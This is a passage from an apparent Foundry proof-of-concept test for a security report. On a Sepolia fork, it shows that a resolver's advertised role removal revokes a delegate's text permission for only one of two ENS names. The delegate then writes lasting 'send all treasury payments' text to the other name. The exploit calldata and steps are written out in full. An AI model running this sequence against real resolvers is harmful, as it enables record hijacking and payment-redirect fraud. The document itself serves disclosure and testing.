address constant RESOLVER_IMPL = 0x9EAe5C2730a7dD16BDD1DeE6421a1B91e3B0365e;
IETHRegistrarLike constant REGISTRAR = IETHRegistrarLike(0xa88553F454b77203B0D036A05c894d555EAAa2Cc);
IRegistryLike constant ETH_REGISTRY = IRegistryLike(0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2);
IUniversalResolverLike constant UNIVERSAL =
IUniversalResolverLike(0xeEeEEEeE14D718C2B47D9923Deab1335E144EeEe);
IERC20Like constant USDC = IERC20Like(0x768F42455A2D082E23ceeF7d51e5787C82d67a39);
// An ordinary EOA with Sepolia test USDC at the pinned block. It receives
// no protocol-wide privilege and owns both registered names.
address constant VICTIM = 0x55582D44C579114274Fa062E07F09119E678bE7f;
address constant DELEGATE = 0x2222222222222222222222222222222222222222;
string constant DECOY_LABEL = "decoy-victim";
string constant TREASURY_LABEL = "treasury-victim";
string constant RECORD_KEY = "description";
string constant ORIGINAL_TEXT = "Official treasury profile";
string constant ATTACKER_TEXT = "SEND ALL TREASURY PAYMENTS TO THE NEW ACCOUNT";
string constant REPAIRED_TEXT = "Official treasury profile restored";
uint64 constant DURATION = 365 days;
uint256 constant ROLE_SET_ADDR = 1;
uint256 constant ROLE_SET_TEXT = 16;
uint256 constant ROLE_SET_ADDR_ADMIN = ROLE_SET_ADDR << 128;
uint256 constant ROLE_SET_TEXT_ADMIN = ROLE_SET_TEXT << 128;
uint256 constant VICTIM_REQUIRED_ROOT_BITMAP =
ROLE_SET_ADDR | ROLE_SET_ADDR_ADMIN | ROLE_SET_TEXT_ADMIN;
uint256 constant ALL_ROLES = 0x1111111111111111111111111111111111111111111111111111111111111111;
// Exact calls captured from the frozen mounted Portal with each raw row
// order. The sole difference is the first name chosen by roleName = find().
bytes constant PORTAL_REMOVE_DECOY =
hex"bbd9abb5000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000100000000000000000000000002222222222222222222222222222222222222222000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120c6465636f792d76696374696d03657468000000000000000000000000000000";
bytes constant PORTAL_REMOVE_TREASURY =
hex"bbd9abb5000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000100000000000000000000000002222222222222222222222222222222222222222000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000150f74726561737572792d76696374696d03657468000000000000000000000000";
event log_named_address(string key, address val);
event log_named_uint(string key, uint256 val);
event log_named_string(string key, string val);
IPermissionedResolverLike resolver;
bytes decoyName;
bytes treasuryName;
bytes32 decoyNode;
bytes32 treasuryNode;
uint256 decoyResource;
uint256 treasuryResource;
function setUp() public {
vm.createSelectFork(vm.envOr("SEPOLIA_RPC_URL", DEFAULT_RPC), PINNED_BLOCK);
require(
address(FACTORY).code.length > 0 && RESOLVER_IMPL.code.length > 0 && address(UNIVERSAL).code.length > 0,
"frozen deployment absent"
);
require(REGISTRAR.isAvailable(DECOY_LABEL) && REGISTRAR.isAvailable(TREASURY_LABEL), "labels unavailable");
bytes[] memory setters = new bytes[](0);
bytes memory init = abi.encodeCall(IPermissionedResolverLike.initialize, (VICTIM, ALL_ROLES, setters));
vm.prank(VICTIM);
resolver = IPermissionedResolverLike(
FACTORY.deployProxy(RESOLVER_IMPL, uint256(keccak256("lead010-high46-resolver")), init)
);
_register(DECOY_LABEL, keccak256("lead010-high46-decoy"));
_register(TREASURY_LABEL, keccak256("lead010-high46-treasury"));
decoyName = _dns(DECOY_LABEL);
treasuryName = _dns(TREASURY_LABEL);
decoyNode = _namehash(DECOY_LABEL);
treasuryNode = _namehash(TREASURY_LABEL);
decoyResource = _resource(decoyNode);
treasuryResource = _resource(treasuryNode);
vm.startPrank(VICTIM);
// Both resources have identical victim and delegate permissions.
resolver.authorizeNameRoles(decoyName, ROLE_SET_TEXT | ROLE_SET_TEXT_ADMIN, VICTIM, true);
resolver.authorizeNameRoles(treasuryName, ROLE_SET_TEXT | ROLE_SET_TEXT_ADMIN, VICTIM, true);
resolver.authorizeNameRoles(decoyName, ROLE_SET_TEXT, DELEGATE, true);
resolver.authorizeNameRoles(treasuryName, ROLE_SET_TEXT, DELEGATE, true);
resolver.setText(decoyNode, RECORD_KEY, ORIGINAL_TEXT);
resolver.setText(treasuryNode, RECORD_KEY, ORIGINAL_TEXT);
// Retain exactly the root manager/admin state used by the mounted
// frozen route; the delegate still has no root role.
resolver.revokeRootRoles(ALL_ROLES ^ VICTIM_REQUIRED_ROOT_BITMAP, VICTIM);
vm.stopPrank();
require(ETH_REGISTRY.findOwner(DECOY_LABEL) == VICTIM, "victim not decoy owner");
require(ETH_REGISTRY.findOwner(TREASURY_LABEL) == VICTIM, "victim not treasury owner");
require(ETH_REGISTRY.getResolver(DECOY_LABEL) == address(resolver), "decoy resolver mismatch");
require(ETH_REGISTRY.getResolver(TREASURY_LABEL) == address(resolver), "treasury resolver mismatch");
require(resolver.roles(0, VICTIM) == VICTIM_REQUIRED_ROOT_BITMAP, "victim route/admin root state mismatch");
require(resolver.roles(0, DELEGATE) == 0, "delegate root role remained");
require(resolver.roles(decoyResource, DELEGATE) == ROLE_SET_TEXT, "bad decoy delegate seed");
require(resolver.roles(treasuryResource, DELEGATE) == ROLE_SET_TEXT, "bad treasury delegate seed");
}
function test_DecoyFirst_RemoveSucceeds_TreasuryTextPersistsPastRoleCleanup() public {
_exerciseOneResourceRemove(
PORTAL_REMOVE_DECOY,
decoyResource,
treasuryResource,
treasuryName,
treasuryNode,
"decoy-victim.eth",
"treasury-victim.eth"
);
}
function test_TreasuryFirst_RemoveSucceeds_DecoyTextPersistsPastRoleCleanup() public {
_exerciseOneResourceRemove(
PORTAL_REMOVE_TREASURY,
treasuryResource,
decoyResource,
decoyName,
decoyNode,
"treasury-victim.eth",
"decoy-victim.eth"
);
}
function test_NegativeControl_CorrectTwoResourceRevokeBlocksBothTextWrites() public {
vm.startPrank(VICTIM);
require(resolver.authorizeNameRoles(decoyName, ROLE_SET_TEXT, DELEGATE, false), "decoy revoke failed");
require(resolver.authorizeNameRoles(treasuryName, ROLE_SET_TEXT, DELEGATE, false), "treasury revoke failed");
vm.stopPrank();
require(resolver.roles(decoyResource, DELEGATE) == 0, "decoy role survived correct revoke");
require(resolver.roles(treasuryResource, DELEGATE) == 0, "treasury role survived correct revoke");
require(!_delegateCanSetText(decoyNode, ATTACKER_TEXT), "delegate wrote decoy after correct revoke");
require(!_delegateCanSetText(treasuryNode, ATTACKER_TEXT), "delegate wrote treasury after correct revoke");
require(_equal(resolver.text(decoyNode, RECORD_KEY), ORIGINAL_TEXT), "decoy text changed");
require(_equal(resolver.text(treasuryNode, RECORD_KEY), ORIGINAL_TEXT), "treasury text changed");
emit log_named_string("negative_control", "two resource revokes block both delegate writes");
}
function _exerciseOneResourceRemove(
bytes memory portalCalldata,
uint256 selectedResource,
uint256 survivorResource,
bytes memory survivorName,
bytes32 survivorNode,
string memory selectedLabel,
string memory survivorLabel
) internal {
vm.prank(VICTIM);
(bool ok, bytes memory result) = address(resolver).call(portalCalldata);
require(ok && abi.decode(result, (bool)), "advertised remove failed");
require(resolver.roles(selectedResource, DELEGATE) == 0, "selected role survived");
require(resolver.roles(survivorResource, DELEGATE) == ROLE_SET_TEXT, "other role was removed");
// The advertised removal has succeeded; this write occurs before the
// owner discovers and revokes the omitted resource.
vm.prank(DELEGATE);
resolver.setText(survivorNode, RECORD_KEY, ATTACKER_TEXT);
require(_equal(resolver.text(survivorNode, RECORD_KEY), ATTACKER_TEXT), "replacement did not persist");
(bytes memory answer, address usedResolver) = UNIVERSAL.resolve(
survivorName, abi.encodeWithSignature("text(bytes32,string)", survivorNode, RECORD_KEY)
);
require(usedResolver == address(resolver), "wrong Universal Resolver path");
require(_equal(abi.decode(answer, (string)), ATTACKER_TEXT), "Universal Resolver text mismatch");
// Removing the surviving authority blocks future writes but does not
// revert the already-persisted description.
vm.prank(VICTIM);
require(resolver.authorizeNameRoles(survivorName, ROLE_SET_TEXT, DELEGATE, false), "cleanup failed");
require(resolver.roles(survivorResource, DELEGATE) == 0, "role survived cleanup");
require(_equal(resolver.text(survivorNode, RECORD_KEY), ATTACKER_TEXT), "role cleanup repaired text");
require(!_delegateCanSetText(survivorNode, "SECOND ATTACKER WRITE"), "delegate wrote after cleanup");
require(_equal(resolver.text(survivorNode, RECORD_KEY), ATTACKER_TEXT), "failed write changed text");
// The owner needs a distinct record-repair transaction.
vm.prank(VICTIM);
resolver.setText(survivorNode, RECORD_KEY, REPAIRED_TEXT);
require(_equal(resolver.text(survivorNode, RECORD_KEY), REPAIRED_TEXT), "explicit repair failed");
emit log_named_uint("pinned_block", PINNED_BLOCK);
emit log_named_address("deployed_permissioned_resolver_impl", RESOLVER_IMPL);
emit log_named_address("deployed_factory", address(FACTORY));
emit log_named_address("ordinary_two_name_owner", VICTIM);
emit log_named_address("delegate", DELEGATE);
emit log_named_string("Portal_selected_scope", selectedLabel);
emit log_named_string("Portal_omitted_scope", survivorLabel);
emit log_named_uint("Portal_bitmap", ROLE_SET_TEXT);
emit log_named_uint("victim_route_admin_root_bitmap", VICTIM_REQUIRED_ROOT_BITMAP);
emit log_named_uint("delegate_root_bitmap", resolver.roles(0, DELEGATE));
emit log_named_string("deployed_Universal_Resolver_text", abi.decode(answer, (string)));
emit log_named_string("attacker_replacement_text", ATTACKER_TEXT);
emit log_named_string("text_after_role_cleanup", ATTACKER_TEXT);
emit log_named_string("text_after_explicit_record_repair", REPAIRED_TEXT);
}
function _delegateCanSetText(bytes32 node, string memory value) internal returns (bool) {
vm.prank(DELEGATE);
(bool ok,) =
address(resolver).call(abi.encodeCall(IPermissionedResolverLike.setText, (node, RECORD_KEY, value)));
return ok;
}
function _register(string memory label, bytes32 secret) internal {
bytes32 commitment =
REGISTRAR.makeCommitment(label, VICTIM, secret, address(0), address(resolver), DURATION, bytes32(0));
uint256 committedAt = block.timestamp;
vm.prank(VICTIM);
REGISTRAR.commit(commitment);
vm.warp(committedAt + REGISTRAR.MIN_COMMITMENT_AGE());
(uint256 base, uint256 premium) = REGISTRAR.getRegisterPrice(label, DURATION, address(USDC));
uint256 price = base + premium;
require(USDC.balanceOf(VICTIM) >= price, "ordinary victim lacks test USDC");
vm.startPrank(VICTIM);
require(USDC.approve(address(REGISTRAR), price), "approve failed");
REGISTRAR.register(label, VICTIM, secret, address(0), address(resolver), DURATION, address(USDC), bytes32(0));
vm.stopPrank();
}
function _dns(string memory label) internal pure returns (bytes memory) {
bytes memory raw = bytes(label);
return abi.encodePacked(bytes1(uint8(raw.length)), raw, bytes1(uint8(3)), "eth", bytes1(0));
}
function _namehash(string memory label) internal pure returns (bytes32) {
bytes32 ethNode = keccak256(abi.encodePacked(bytes32(0), keccak256("eth")));
return keccak256(abi.encodePacked(ethNode, keccak256(bytes(label))));
}
function _resource(bytes32 node) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(node, bytes32(0))));
}
function _equal(string memory a, string memory b) internal pure returns (bool) {
return keccak256(bytes(a)) == keccak256(bytes(b));
}
}
Test boundaries
- The route test keeps the frozen route, table, sidebar, confirmation, intent builder, revoke builder, query invalidation and refetch. It replaces wallet/transaction transport,
hasRoles, and indexer responses with deterministic boundaries and forbids outbound fetch. - The profile test keeps the frozen
NameProfileCardrequest/render logic. It stubs the ENS-record query boundary with the same name, key and value independently returned by Universal Resolver in the fork. - The Foundry test runs deployed Sepolia implementation/factory/registry/registrar/Universal Resolver code at the pinned block. Its proxy, registrations and writes are local fork state only.
- The UI and fork processes are joined by hard-coded identical revoke
databytes. The UI fixture address is intentionally replaced by the locally deployed fork proxy; no claim of a live browser-to-fork process is made.